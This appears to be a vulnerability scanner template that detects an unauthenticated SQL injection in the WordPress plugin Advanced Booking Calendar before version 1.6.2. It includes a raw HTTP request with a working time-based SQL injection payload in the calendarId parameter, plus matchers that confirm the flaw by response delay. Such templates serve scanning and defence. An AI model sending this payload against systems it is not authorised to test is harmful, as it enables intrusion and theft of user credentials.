id: advanced-booking-calendar-sqli info: name: Advanced Booking Calendar < 1.6.2 - SQL Injection author: theamanrawat severity: critical description: | The AJAX action abc_booking_getBookingResult, available to both authenticated and Unauthenticated users did not sanitise the calendarId parameter which was then concatenated to a SQL statement, leading an unauthenticated SQL injection issue. This could be used to retrieve information from the database, such as users' hashed password, username and email address. reference: - https://wpscan.com/vulnerability/bac7b590-70de-45b3-bdc2-19f90524ca39 - https://wordpress.org/plugins/advanced-booking-calendar/ remediation: Fixed in version 1.6.2 metadata: max-request: 1 verified: true tags: sqli,wpscan,wordpress,wp-plugin,wp,advanced-booking-calendar,unauthenticated http: - raw: - | @timeout: 10s POST /wp-admin/admin-ajax.php HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded; charset=UTF-8 calendarId=1)+AND+(SELECT+2065+FROM+(SELECT(SLEEP(6)))jtGw)+AND+(5440=5440&from=2010-05-05&to=2010-05-09&action=abc_booking_getBookingResult matchers: - type: dsl dsl: - 'duration>=6' - 'status_code == 200' - 'contains(content_type, "text/html")' - 'contains(body, "abc-result-header")' condition: and